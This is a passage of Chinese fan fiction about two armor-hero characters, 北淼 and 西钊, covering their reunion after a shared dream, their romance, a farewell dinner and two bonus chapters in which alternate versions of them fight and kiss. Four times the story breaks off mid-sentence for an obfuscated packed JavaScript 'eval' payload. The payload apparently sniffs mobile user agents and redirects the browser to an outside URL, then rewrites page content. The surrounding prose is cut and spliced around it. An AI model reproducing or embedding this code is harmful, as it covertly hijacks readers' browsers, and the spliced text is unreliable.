北淼试图透过模糊无界的灰暗寻找地面的痕迹,却始终找不到其他任何色彩。北淼不怕死,但这种无法掌控周遭的压抑让他心脏剧烈跳动,一种难以言喻的压迫感逐渐升起,仿佛这个世界开始对他展开吞噬,用这无休止的下坠,让他在落地之前就“粉身碎骨”。 然而,在某一个瞬间,北淼忽然看见了一个影子,带着同样有如失控坠落的加速度从下方逆向而来。 ———— 西钊在下坠。 他在破碎的梦境里持续坠落,像是被一种无形的力量拉扯穿过一层又一层灰蒙蒙的云,从万米高空一直一直往下掉。时间对他来说渐渐失去概念、失去了原本的节奏,让他变得更加麻木。 在和“北淼”说完谢谢之后,西钊脚下就莫名出现了一道蜿蜒至远方的巨大裂缝,强烈的“引力”将西钊整个人硬生生拖了进去。他本以为即将迎接的是黑暗,却不曾想是刺眼的、无边无际的天空。 这回,他真的像一只“断线风筝”了。 西钊眼前的景象变得愈发模糊,风的声音也变得愈发刺耳,甚至有些刺痛。出于某种本能,他总是想抓住什么,但什么也抓不住——他始终找不到自己的方向,始终感受不到此时此刻的真实。 直到、他忽然看见一抹清晰的光如流星划过眼前。 ———— “西钊!” “北淼!” 他们对彼此的渴望战胜了万有引力。 没有任何犹豫、甚至仅仅只是出于本能,在两人于半空交汇的刹那,他们伸手紧紧拽住了对方的手臂。 在这微弱又坚定的力量相互碰撞的瞬间,他们感受到了从对方身上流淌而来的温度,仿佛有一道无形的电流穿过他们的身体,贯穿整个灵魂。“链接”再次建立。那股熟悉的力量席卷而来,借由肌肤相亲的地方传遍全身。于是,所有的想法、所有的情感,都交织成了一股无法抵挡的洪流,将两人淹没。 此时此刻,他们不再是下坠的两个人,而是令宇宙交错的“奇点”,停滞在世界的交汇处。所有的痛苦、迷茫、挣扎都化为空气中的浮云,渐渐从他们身边飘走、消散。 通过那温暖的“链接”,西钊开始明白北淼的“为什么”,北淼开始理解西钊的“是什么”。两颗打火石历经曲折,在错过无数次之后终于如愿碰撞出灿烂的火花,仿佛命运的枷锁已经完成了最后的环扣——他们注定会以这样的方式相遇、注定会拉着对方的手将彼此拯救。 他们没有哪一刻像现在这样强烈地希望自己立马从梦中醒来。不论这世界有多好、不论能从中挽回什么,对于现在的他们而言,都不值得自己松开手、让对方在深渊之中万劫不复。 像是潜伏许久的病毒,他们心中的“塞壬”再次唱起诱惑的歌: “放手吧。大家都可以留下来,对彼此都好。各做各的美梦、各有各的幸福。互不相干,又何来苦难?” 如果是之前,或许他们还会犹豫、会纠结、会迷茫,会因为揣测不到对方的想法而忧心忡忡。但如今,一切拨云见日,他们心中的感情已不能再明朗。现在他们唯一想做的,只有一件事,而他们甚至不需要说出来,就能够传达到彼此的心中: 回去吧,我想见你。 ———— D市,医院。 “美真,小北哥……今天情况怎么样?”望着手拿报告,刚从医生办公室出来的美真,冰儿显得有些拘谨,“已经第四天了,还是没办法吗?” 美真愁眉苦脸地看了看报告上的描述和各种数值,对冰儿微微摇头:“还是不行。北淼的身体状况完全没有问题,包括受损的脑部神经在他入院的当天晚上其实就已经康复了。医生推测、是心理原因导致。但你知道……如果是这样的话,我不知道北淼什么时候才会……” “没关系,由我来继续照顾小北哥,西钊也会来帮忙的。”冰儿礼貌地笑了笑,点点头向美真致谢。 “咦?说起这个,西钊不是才刚醒没多久吗?刚刚我去病房怎么没看见他?”美真歪歪头,略显困惑地瞄了一眼西钊的病房,“他伤得比北淼重,现在刚恢复意识没几分钟、居然还敢到处乱跑。” 冰儿领着美真走到医院走廊尽头的窗边,往外面一个能看到海的小露台指了指,好巧不巧正好指到了远处的西钊:“他在那边。我给他带了点吃的,但他说想看看海。” 话音刚落,北淼的病房里就有了动静。二人慌忙跑过去查看,惊喜地发现北淼已经醒了过来,正坐在床上用手掌撑着额头,一副无措又混乱的样子。当他看到进门的冰儿和美真时,一时间不知道他现在到底是哪个“北淼”。 出于某种考虑,北淼没有给自己来一巴掌,而是看向急切关心他的冰儿,随便问了个‘常识性’的问题,并且没觉得这样问有什么异样:“小雪,你认识西钊吗?” “……?” 一句话把冰儿和美真都整蒙了。冰儿困惑地看着美真,眼神里充满“要不要再去检查一下脑子”的担忧;而美真则一言难尽地重新把检查报告翻了一遍。 看到她们的反应,北淼先入为主地以为这还是那个“英雄黑犀”的世界,也就是说,他只是“睡醒了”,这个世界没有发生任何变化。北淼有些遗憾。他还以为他和西钊可以…… “北淼,你是不是被磁场弄糊涂了,在说什么傻话呢?”美真一手叉腰,哭笑不得地帮冰儿搭腔,“西钊身上的异能量已经全部清除,手臂的印记也变回了原本的淡红色。他的脑损伤比你严重,不过,由于身体素质异于常人太多,所以恢复得很快。” 等等,清除异能量?脑损伤?这不就是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334654|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在莫名其妙“穿越”之前做的事吗?北淼的大脑迅速运转,不断重复刚刚美真的话。 “他在哪儿?我要见他。” “北淼,你先休息一下。西钊也才刚……” 然而,北淼的身体比他的脑子更快行动。他的脚刚着地,视线就正好与轻手轻脚推门而入的西钊相对。 虽然西钊的表情看上去有些意外,似乎没料到北淼已经醒了,但他的精气神看上去比先前好了很多,几乎看不出那份标志性的忧郁,反而更柔和平静,甚至有那么一点小俏皮——可能是和坤中学的。 这么看来,其实西钊在熟悉的人面前也是个“开朗”的家伙。北淼想。他能看到散发这样气场的西钊,某些疑问或许已经有了答案。 “北淼,还好吗?”听到西钊礼貌又不失尴尬的微笑和问候,不知为何让刚高兴完的北淼突然感觉心里又窝了团火。 “小雪、美真,我和西钊有事要说。”北淼直接无视了西钊的问题,侧身把西钊从门口的位置挤开,伸手握着门把手绅士地给两个女士开门,“希望你们暂时回避一下,抱歉。” 等房间里只剩他们两人之后,北淼这才没好气地说:“听美真说,印记的事已经搞定了。你要是还会做噩梦,那真是辜负我的一片好心。” 西钊浅浅笑出声,酒窝挂在嘴角,在空气中都能尝到一丝甜味:“怎么了,这么大火气?我不确定这些梦算‘噩梦’还是美梦,因为我梦里都是你,北淼。你太令我印象深刻,以至于很多时候我都不记得那是个什么梦、只记得有你在——许多个不一样的你。” “……哼。得了吧,想嘲讽我也不知道找个不那么蹩脚的理由。”北淼虽然嘴上这么说,但心里还是被“儿童心理学”拿捏得死死的,他认栽地摇摇头,忍俊不禁,“既然你知道‘我’有很多个,那你怎么保证、我就是对的那个?” 西钊没有说话,只是笑着从口袋里拿出“Pocky”的盒子,抽出里面最后一根巧克力饼干棒,夹在指间递给北淼。这就好像独属于他们的暗号,北淼不用猜都知道西钊想让他做什么——这次,轮到西钊把那局游戏赢回来了。 然而,北淼并不打算让西钊得逞。他握住西钊拿着饼干棒的手腕,将他推搡至墙边,按在墙上动弹不得。北淼乘胜追击,歪了脑袋凑上前强势但温柔地贴上西钊的嘴唇缓慢厮磨,不断传递着心中炽热的情感。 北淼没有再说“张开嘴”,而是:“这是你反悔的最后机会。你可以什么都不说。如果你把我推开,我就彻底划清界限。但如果你闭上眼睛、享受这一切,那么……你就再也没有机会了。” 你可以什么都不懂,你也可以什么都察觉不到。但只要你不松开我的手,只要你选择了我,我将承诺,会用一生来实践这个课题。总有一天,你会明白我的真心。 所以,你的答案? 西钊一言不发地闭上了眼,另一只手勾住北淼的脖颈探舌加深这个吻,试图让它持续得久一些、再久一些。 他用沉默给了他得寸进尺的理由。而这,就是他的答案。 TBC 27. 我们的起点 北淼自诩是个高调的绅士,特别是对待女孩子时尤为明显。虽然他曾说过,有些客套话早已“过气”,然而一旦让他真的和女孩子相处,就好像变了一个人:豪车接送、手捧鲜花、高档餐厅等等,他总能恰到好处、点到为止地赢得她们的欢心。 所以,当北淼发现心里住着一个“唯一”时,他本以为自己也会非常夸张且高调地表达心意、恨不得让每个人都知道这是他的所有物,但他没有。正相反,北淼把他的心意全都寄托在了日常生活中的每件小事上:不需要多漂亮的鲜花、不需要多豪华的车座,也不需要多高级的餐厅。 因为西钊不喜欢、或者说,不适应。 西钊向往的生活很普通、很平凡,因此北淼也会如他所愿,一切尽可能地低调。就连北淼订钻石戒指的想法也被西钊干脆利落地否决,这让北淼生了他五分钟的气。至于为什么是五分钟,因为五分钟之后西钊为了哄他,答应第二天一起和他去派出所给冰儿和自己上户口。虽然按规定西钊和冰儿只能以阳光孤儿院的名义落户,并不能真的把自己名字写在“张北淼”家的户口本上,但这招对北淼依旧有奇效。他二话不说立即就给院长打去电话、准备材料。西钊在旁边瞧着,满眼都是无奈与宠溺。 当然,最终北淼还是先斩后奏地给他们俩订了一对戒指。没有镶嵌任何钻石珠宝,仅仅只是两个小小的圆环,各在外侧印刻着“雪獒”与“黑犀”的图案,戴在他们无名指上正好。北淼戴着白色的“雪獒”,西钊戴着黑色的“黑犀”。没有求婚仪式、也没有烛光晚餐,交换戒指那晚只有简单的两句:“你喜欢吗”“喜欢”。 虽然谁都没有说过那句话、谁都没有说过那个词,但既然都捅破了那层窗户纸,说北淼对西钊没有情欲之念是不可能的。他们出院之后其实没再有过多少过于亲密的接触——至少在公共场合里没有。哪怕是两人独处,也仅仅止步于接吻,谁都没有继续跨越那条“线”。有时候北淼会想,到底是他们还没准备好,还是西钊根本没往这个方向考虑过。也许都有。 为了能让整个过程顺利进行,刚出院不久北淼就在电脑上收集了一些……“资料”。即使他是行动派,在这件事上也不能将理智交给所谓“人类的本能”。他不想给西钊留下不好的印象,也不想伤到他。北淼也知道,西钊其实不是完全的性启蒙小白,只是,他更希望他们之间的“第一次”由他来引导。 毕竟怎么说他也要做上面那个…… “北淼,我洗好了。你在看什么?” 穿着小狗睡衣的西钊轻轻敲门后推门而入,一边拿着毛巾揉搓还滴着水的头发,一边看向坐在书桌前聚精会神盯着屏幕的北淼。 北淼被吓得耸了一下肩膀,鼠标差点按到电脑视频的“取消静音”。他即刻“啪”地一下盖上笔记本电脑,清清嗓子站起身,若无其事地把床尾放着的换洗衣物卷进臂弯,没敢和西钊对视:“我在准备后天的行程。明晚的酒店已经订好了,一会儿我们把行李收拾一下。” “好,知道了。”西钊笑着点点头,正准备离开去吹头发,忽然想起什么,转头又问道,“明天的聚餐,大家都会来吗?” “美真要留在实验室检修卫星,小雪想去蕙姨那里学点手艺,小嵩要带着敏慈出国一段时间。”北淼走到西钊身边,在走出房间门时习惯性地与他交换了一个吻,“所以,大概只有我们五个人。” “也好,算是互相道别吧。” 明天他们几个人筹备了一场小小的聚餐活动。起初是因为坤中考上了外省的重点大学,想一起给他庆祝庆祝。后来,炘南受邀需要前往国外的国际音乐节进行演奏、北淼又正好打算在西钊拿到身份证之后带他出去走走看看,于是,这场庆功宴就变成了“散伙饭”。 地点定在西钊提及过但一直没有机会去的烤肉店。生意不温不火,但味道在那一带数一数二。虽然西钊对这家烤肉念念不忘,但北淼已经做好在西钊帮所有人烤肉、然后几乎一口没吃时亲自喂给他的准备了——谁让这家伙是西钊、而他又是西钊男朋友呢。 ———— “这次坤中考上的大学还不错啊,就是在外省,要一段时间见不到了。”东杉从自助区拿了两碟牛里脊,刚坐下就被对面的西钊熟练地拿走放在自己旁边排队等候火炭的炙烤。 一听这话,坤中急得三下五除二把嘴里没嚼开的羊排用力咽下去:“唔、提起这个我就难过!以后我可找不到人陪我打球了,像东杉哥和西钊兄这样的好球友可太难找了!” 西钊一边专注地用烤肉夹给烤盘上的黑椒牛排翻面、用烤肉剪分成小块,一边轻笑着调侃:“你啊,怕不是担心到了外省,输球的时候没人帮你兜底吧。” “我才没有!上次我们几个比赛,我和东杉哥不是赢了你和北淼吗?有炘南哥和美真姐作证的!”坤中愤愤夹起西钊刚烤好放进他盘子里的牛排往嘴里塞,西钊想提醒他小心烫的时候已经来不及了,“呼呼呼烫烫烫烫烫……!” 这番场景引来众人一阵哄笑,西钊在笑声中将烤好的几块肉分给其他人,瞥了一眼坐在旁边的北淼:“那下次,东杉做我的队友,你来领教一下北淼的‘球技’。这样总公平了吧?” “北淼不太适合打篮球,他上次扣篮差点没把篮筐扣下来。”一直没怎么说话的炘南起身准备到自助区再拿些肉来,往北淼的方向看了一眼,笑道,“他冲劲太大,也没怎么和西钊配合。算起来,西钊才是吃亏的那个。” 北淼满不在意地轻哼一声,没理会炘南。炘南也只是保持那一如既往的和善微笑,转身就消失在自助区的转角。饭桌上,坤中和东杉还在讨论大学生活,西钊依然勾着嘴角孜孜不倦地烤肉、分肉、夹肉,仿佛这是他的“本职工作”。从聚餐开始到现在快一个小时下来,盯着西钊一举一动的北淼发现这个人就没吃上几口。 西钊现在笑得很好看,但北淼不喜欢。 “西钊。” 北淼低声地呼唤着西钊,对方下意识地转头看他。只见北淼夹起一块肉,草草吹了两下便递到西钊嘴边,西钊想都没想就咬了下去,一边闭口咀嚼一边把脑袋转回来继续给刚放上去的牛里脊翻面。他们似乎并没有注意到东杉和坤中的闲聊戛然而止,直直望着刚刚投喂和被投喂的二人,又互相对视,交换彼此困惑的眼神。 “是我的错觉还是……他们……”看着烤肉机器西钊一次次被北淼贴心投喂,东杉摸摸下巴陷入沉思。北淼虽然在误会全部解开之后戾气少了很多,整个人终于有了“平如静水”的样子,但面对西钊……东杉有种说不上来的违和感。 “嗯?”坤中刚埋下去咬一口烤鸡翅,听见东杉的问题慢慢抬起头,半是不解、半是了然,“西钊兄和北淼不是在一起了吗?” “???”东杉直接瞳孔地震。 “……?”缓缓把香辣牛排放在桌边的炘南坐回坤中旁边,歪了歪脑袋,微微眯起眼睛。 坤中在诡异的沉默里慢慢松开咬下第二口鸡翅的嘴,视线随一左一右坐着的两人转向对面并没有在说话,但每一个动作都透露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334655|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着亲昵意味的罪魁祸首。 西钊感觉到对面直勾勾的视线,逼得他有些喘不过气。他一边将刚处理好的里脊分给三人,一边问:“怎么了?快吃吧,这个趁热吃好,不然一会儿凉了,味道就会大打折扣。” “西钊。” 北淼在西钊转头时将吹得温热的最后一块牛里脊塞进他嘴里,并未在意对面投来的目光。 兄弟也好、朋友也好、外人也好,他不在意任何人怎么看他,只要面前这个人心里有他、唯一的他,就够了。 只有我的手,能带他回头。* “西钊,你们……你们……” 坤中支支吾吾半天也没憋出一句话来。但因为西钊一直用两边手在烤肉,细心的炘南终于还是注意到了西钊无名指上的戒指。于是,他开门见山地调侃道:“没想到,你们这么快就确认了关系,可喜可贺。就是让我们兄弟几个都蒙在鼓里,实在有些说不过去呀。” “抱歉,这是我的主意。”西钊歉意地笑了笑,他将烤肉夹压在厚厚的嫩肉上,发出滋滋的响声,他很喜欢这样,“我们也才刚刚稳定下来。” “咦?你们不是很早就在一起了吗?之前西钊找我打球,还把手机都扔给我了,肯定是和北淼吵了架。后来北淼还找上我,非得逼我把西钊的大概位置告诉他,要我说,当时北淼你那个样子——唔唔唔!” “好了好了,你少说两句。”东杉点到为止地把两块里脊合二为一堵住坤中的嘴进行“物理封印”。看着委屈巴巴咀嚼美味的小老虎,东杉扶着额头叹口气,低声自言自语,“连北淼都……看来我也要加把劲才行。” 见氛围烘托得差不多了,炘南起身给每个人的杯子都倒上饮料,邀请大家举杯:“不管怎样,一切都是最好的安排。北淼、西钊,能看到你们两个对彼此释怀、重新开始,真的是一件很令人高兴的事。坤中,大学生活或许比你现在更加艰苦,要好好加油,记得有空回来看看。东杉,你的事,我也帮不上什么忙,但我相信缘分、相信有情人终成眷属,期待你的好消息。 “今晚过后,我们各奔东西,虽然不知道下一次像现在这样聚餐会是何时何地,但这份兄弟情义,无论走到哪里,我永远都不会忘记。干杯!” “干杯——!!” ———— 熟悉的散会、熟悉的场景。 坤中给每个人一个巨大的拥抱之后奔向公交站点、东杉上了出租车、炘南驾着摩托车飞驰而去,深夜的街道,只剩下了北淼和西钊。 上一次他们身处类似的场景时,西钊孤单地置身事外,想要一个人“离开”,一个人飞向远方、一个人坠入大海,达成自以为完美的解脱。但北淼追上了他,拉着他的手,将他硬生生拽了回来。 他们都不曾理解心中的那份悸动,但因为“链接”的存在,他们的心境一次又一次地交错。那份内心的呼唤,才能由山间孤独的回声逐渐变为响彻灵魂的交响曲。 他们感受、他们铭记、他们见证。爱是我的,我不想别人拥有。你的爱是我的,是我全部的寄托。* 他们不需要告白。 他们需要的从来不是告白。 一步一步、当我走向了尽头, 最后只留下不堪留恋的寂寞。 只有你的手,能带我回头。 什么时候?* “走吧,西钊,行李已经在后备箱了,我们现在去酒店。” ——此时此刻。 “好。” FIN 28. 同类(上)[番外] 西钊环抱双臂、倚着一根断裂的柱子。黑色羽蝶停留在他肩膀,仿佛是他在此地唯一的陪伴。 他远远望向四周支离破碎的环境,眼神里没有丝毫生命力。即使早已意识到自己或许只是时空夹缝里一段残缺不全的记忆、一个不愿轮回的灵魂,西钊的心里也没有任何波澜。他无法死亡、也无处可去,他的世界里只剩下了这片荒芜的永恒。 忽地,一只白色羽蝶扑闪翅膀慢悠悠地从西钊眼前略过。西钊还没看清它翅膀上的花纹,身为影界战士的敏锐直觉便告诉他这里来了不速之客。但这股气场很奇怪,没有那个会在“未来”杀死他的北淼身上的正义之气,也没有那个所谓“时空穿越者”的北淼的复杂焦躁。它非善非恶,却异常纯粹明净,犹如这世界上最清澈的水。 然而,任谁都知道,只要有足够的力量,任何一滴水都能带来毁灭性的狂风暴雨。 西钊只来得及看到远处从无数场景碎片里走出的一个黑色影子,转瞬间,水甲盾的尖角就已经突向他面门。西钊一惊,以极快的反应速度歪头躲避,强大的下盘定力让他抱臂倚墙的姿势都没改变几分。不过,他还是因为水甲盾击碎柱子一角而被尘土和碎石溅了满身,肩上的黑蝶也被惊扰得不见了踪影。 黑犀铠甲似乎对西钊能躲开他这一击有些意外,即刻调整姿势用右手再次对西钊挥拳。但他的拳头被对方抬起手臂硬生生用臂甲格挡下来,定睛一看,面前的西钊已经穿上了雪獒铠甲。他迅速用水甲盾破了西钊的防御,在手中积蓄深绿色的能量、回转身就准备一记冲拳打过去。 西钊也不甘示弱,压低姿态拉开弓步,手中泛起苍白的微光,朝黑犀铠甲挥出一拳。两股能量以极快的速度对冲,再在他们势均力敌的碰撞中猛地爆发、将两人击飞好几米之外、纷纷跪倒在地。 “哟,不赖嘛。‘大少爷’什么时候变得这么干脆利落了?”感受到对面雪獒铠甲的异常,在黑犀铠甲中的北淼一边轻笑着一边不紧不慢重新站起身。虽然嘴上在说无关紧要的闲话,但他的手已经扭动腰带机关,唤出流星枪随意地转了转。 “给别人起外号、真是你们这帮叫‘北淼’的家伙的坏习惯啊。”西钊起身活动活动肩膀、左右歪歪脑袋、又扭动几下手腕,召唤出震雷斧拎在手中,“虽然不知道你打什么主意,但如果你想挨揍的话,我随时奉陪。反正在这里也没什么事做,身边正好缺个练手的家伙。” 呵,这不比那个“懦夫”刺激?北淼的斗志一下子被西钊点燃,他还是第一次只为战斗而战斗。他很需要、也很享受这样的感觉。 自从“梦境”崩裂之后,北淼就发现自己怎么也走不出那个奇怪的空间,死又死不掉、也算不上是活着。他只能在七零八落的记忆碎片里像无头苍蝇那样横冲直撞。等他终于看到一个“活人”时,却发现那是“西钊”。也对,他本来就是被这个家伙叫过来谈判的,说什么要加入铠甲勇士。做他的春秋大梦去吧。与其听毒鸡汤,不如先下手为强,直接在这里除掉他不是更好吗? 但那一招几近完美的瞬移突刺居然被西钊轻而易举地躲开了。如果是某个没经过系统训练、没有实战经验、反应和速度都不及其他铠甲召唤人的理想主义者,绝对不可能做到。尤其是对冲拳时爆发出来的那股力量让北淼更加坚信,这个西钊和他一样,也是个狠角色。 “哼,不自量力的家伙。”北淼紧紧盯着西钊的每一个动作。他扭动腰带,绿色的“扎”字必杀帖如符文般逐渐浮现。随着他转枪后撤,流星枪的枪头在空中轻微震动、展开,绿色的能量汇聚在枪尖,随时准备爆发。 “胜负未分,可别把话说太死啊。”西钊手中的震雷斧闪烁着金属的寒光。见北淼直接了当地开启必杀技,西钊也跟着启动必杀帖,霎时,白色的“削”字跃于眼前。西钊松开握着斧把的左手,右手握着斧头顶部的扣环向后拉伸躯干,铠甲的白色光能瞬间涌入震雷斧中。 双方嘲讽彼此的声音里即使都能听出笑意,也能感觉到丝毫不加掩饰的杀气和挑衅。然而,仅仅几秒功夫,空气与时间都忽然凝固、静止。仿佛它们随着积蓄的五行之力一同被压缩,若是普通人在场,定会被这气场压得喘不过气。 “震雷削!” “狂瀑扎!” 几乎是同一瞬间,刚金与海啸以可怖的速度和力量对撞。斧枪撕裂空间的气流卷起尘埃,在波流相撞之时拧成旋涡,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334656|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同坍缩的恒星将密度无限放大,极速汇聚成一点,再在那几不可见的刹那爆破崩裂,残石泥沙沿着巨大的冲击波向外扩散为龙卷,将两人脚下的砂砾砖瓦绞碎成残渣推出气流圈。 然而,没有裁判宣告一切结束。 他们就好像是有某种来自“敌人”的默契,西钊高举震雷斧,跨步上前再次劈下,带着几乎可以咬碎一切的雪獒之威。而北淼将流星枪的枪尖扭至一种不可能的角度斜向前刺,试图以犀牛势不可挡的力量击破震雷削的攻势,目标直指西钊的心脏。两股能量再次猛烈碰撞。这一次,两人都被震得连连后退。 他们步步是杀招,却处处占不到优势。 如果不是北淼穿着黑犀铠甲,或许西钊会看到他十分欣赏的愉悦表情:“看来,你比我想象的要强啊。” 西钊没有说话,依旧散发着那股冷漠而坚定的气场。他双手握紧震雷斧,斧头低垂在地面上,似乎在积蓄着力量。每一刻的呼吸都深沉而缓慢,仿佛在等待着一个完美的机会。 正当北淼往西钊的方向走了几步,摊手耸肩准备再次挑衅时,西钊猛然起跳,震雷斧高高举起,如同天降雷霆,直直劈向北淼的胸口。北淼见势不妙,立刻低身用流星枪挡住了这一击,但震雷斧的力量依旧让他重心被压低了几分。北淼不甘被动,再次用力转动流星枪的枪柄,枪头瞬间发出强烈的绿色光芒,在震雷斧的斧刃上擦出耀眼的火星。 他们就这样不知疲倦地交战,震雷斧和流星枪的交锋就像两个不朽的力量,互相碰撞着,注定无法轻易分出胜负。几个回合下来,两个人虽打得痛快,铠甲的能量却到了极限。 不知第几次拳与拳的对冲,在他们拳头相触的同时,铠甲被迫解除。 “……居然能逼我出全力,身手不错。”北淼虽然有些不服,但也大大方方地朝西钊扬扬下巴,承认对方的实力与自己势均力敌。 “你也一样。”西钊轻哼一声,牵动嘴角扯出假笑。 没有人愿意率先撤下攻防姿态。在未散去的扬尘余烬之中、在未被五行之力撕裂的空地之上,时间仿佛又一次被静止在这一刻,这回,连呼吸的律动都被剥夺殆尽。 TBC 29. 同类(下)[番外] 废弃工地的空气中弥漫着潮湿和铁锈的味道,远处有几根斜斜的钢柱支撑着破败的天际。头顶的天空压得很低,灰蒙蒙的,没有太阳、没有星辰,只有沉闷的阴云,像是一层无法打破的囚笼,将他们禁锢在这片被遗忘的角落里。 北淼靠着一根生锈的钢筋,鞋尖拨弄着地上的碎石。他目光散漫,看起来根本不在乎这片荒废的土地,甚至对它的腐朽和荒凉有些不屑。西钊站在不远处,靠着一根生锈的钢梁,低着头,手插在口袋里,像个幽灵般的存在。即使他不说话,也很难忽视他那股冷淡的气质。 “你还在站着发呆啊?”北淼看了看他,眉毛一挑,“怎么?跟我打了个平手,就躲起来自怨自艾了?” 西钊没理他,目光依然空洞地望着远方。 “喂,你要看到什么时候?”北淼不耐烦地环抱双臂,声音里带着些许挑衅,“这地方到底有什么好看的,跟外面一样无聊。” 西钊终于抬头,看了他一眼,淡淡地回了一句:“你能闭嘴吗?” 终于理我了。北淼轻笑一声:“不好意思,不能。”他顿了顿,似乎突然想到了什么,“不过,想想也是,你可是那种‘喜欢这个世界’的人。” 西钊微微侧过身,目光静静地落在北淼身上,眼神里有种说不清道不明的情绪。 “嗯。我喜欢这个世界。”他低声重复了一遍,语气中听不出是肯定还是嘲讽。 北淼勾了勾嘴角,笑得有些随意:“可惜,这世界并不喜欢你。” 西钊没有回应,只是沉默地看着他。 北淼懒洋洋地往前走了几步,站在西钊面前。虽然两人身高差距不大,但北淼依旧以一种居高临下的气场望着他:“行了,别想那些没用的了。喜欢这个世界,不如喜欢我。”他的语气轻佻得像是随口一说,带着点恶劣的戏谑,仿佛是在看西钊的反应。 西钊闻言,明显愣了一下。他眼里没有怒意,也没有抗拒,反而低低地笑了一声,声音轻得像是一阵风,夹杂着些许疲惫和无奈。 “……你啊。”他说,“还真敢说。” “这叫有理有据。”北淼走得更近了,几乎贴近了西钊的肩膀,“你自己想想,这世界有什么好的?还不如我们来得有趣,不是吗?” 西钊没有退后、也没有回应,平静的双眸依旧,似乎不为北淼的任何调侃与逗弄所打动。北淼见状,挑眉停下脚步。他与西钊之间早已越过了“社交安全距离”。 他盯着西钊的脸,抬手摸摸下巴:“不如——来做点有意思的事情。” 下一秒,他突然伸出手,指尖轻轻触碰到西钊的下巴,目光灼灼地锁住了他的眼睛。他的动作很随意,却又像是无声地确认着什么。西钊没有反抗,也没有退缩,只是静静地站着,眉头微微皱起,像是在思考着什么。 “你知道吗?”北淼的声音低了下来,语气中满是不可思议的自信,“喜欢我,你绝对不吃亏。”他的话语没有过多的矫揉造作,但其中却有种打破常理的坦率。 西钊微微愣了一下,脸上终于有了一点表情。他嘴角扬起一丝浅笑,也没有拒绝,只是低声回应了句:“就凭你?你哪里来的自信?” 北淼眼中闪过一丝笑意,带着些许的自嘲,又像是看透了一切的释然:“对外面的人来说,我们早就死了。”他的声音低沉,有种无法言说的吸引力,“你留恋的那些东西,都只是束缚。你可以选择喜欢它,也可以选择放弃,反正无所谓,谁都不会真的在乎。这里只有我们两个,而我、是你唯一的同类。” 西钊看着北淼沉默片刻后,轻轻点点头,仿佛终于理解了什么。他伸出手,松垮地勾住北淼的脖颈,动作温柔而谨慎。他们的距离再一次缩短,彼此的呼吸和心跳交织在一起。 “把我跟你混为一谈,我还真是倒霉啊。” 他们都知道自己已经死了,也知道自己无法走出这片空地。这个世界已经把他们抛弃,他们是被困在这里的幽魂,连时间都开始变得没有意义,而彼此,或许是唯一还能够证明自己真实存在的方式。 北淼没有多想,只是顺着这微妙的氛围,稍微倾身,轻轻地贴上了西钊的唇。 这是一个充满孤独感的吻。无关爱恨、没有任何征兆,也没有刻意的暧昧;没有激情,也没有剧烈的情感波动,只有一种因为相似而共鸣的默契,甚至连力度都轻得像是一场虚幻的梦。来自不同世界的他们,互不为宿敌、做不成朋友、更不是恋人,只是两个孤独的灵魂,在无尽的时空夹缝中找到了唯一的同类,互相舔舐早已结痂的伤痕。 空气依旧沉寂、世界依旧荒凉,这片破碎的断壁残垣像是他们最后的庇护所,不被人所见,不被人所知。 亲吻结束的时候,北淼慢慢地退开了一点,依旧是那副若有若无的戏谑表情。他抬起手,轻轻捏了一下西钊的下巴,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334657|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着点漫不经心的笑意:“吓到你了吗?” “……没有。”西钊平淡地回答,抬眼望着北淼。他的眼里有些复杂的情绪,却没有清晰的愤怒或者不满,反倒冷静得让人猜不透。他伸出手,轻轻擦了擦唇边的余温。 面对这个不管怎么样都没怎么变过表情的家伙,北淼不禁感到无趣。他笑着耸耸肩,撤回身,随便坐到旁边的石块上,轻轻拍了拍旁边的位置:“真有意思。我们就像两只互相舔舐伤疤的野兽。” 西钊没有回答,他只是站在原地,静静地看着北淼,像是在透过他,看向什么更遥远的东西。 风吹起尘埃,远处的建筑残骸被风沙掩盖,而他们依旧被困在这里,无法离开、也无处可去。 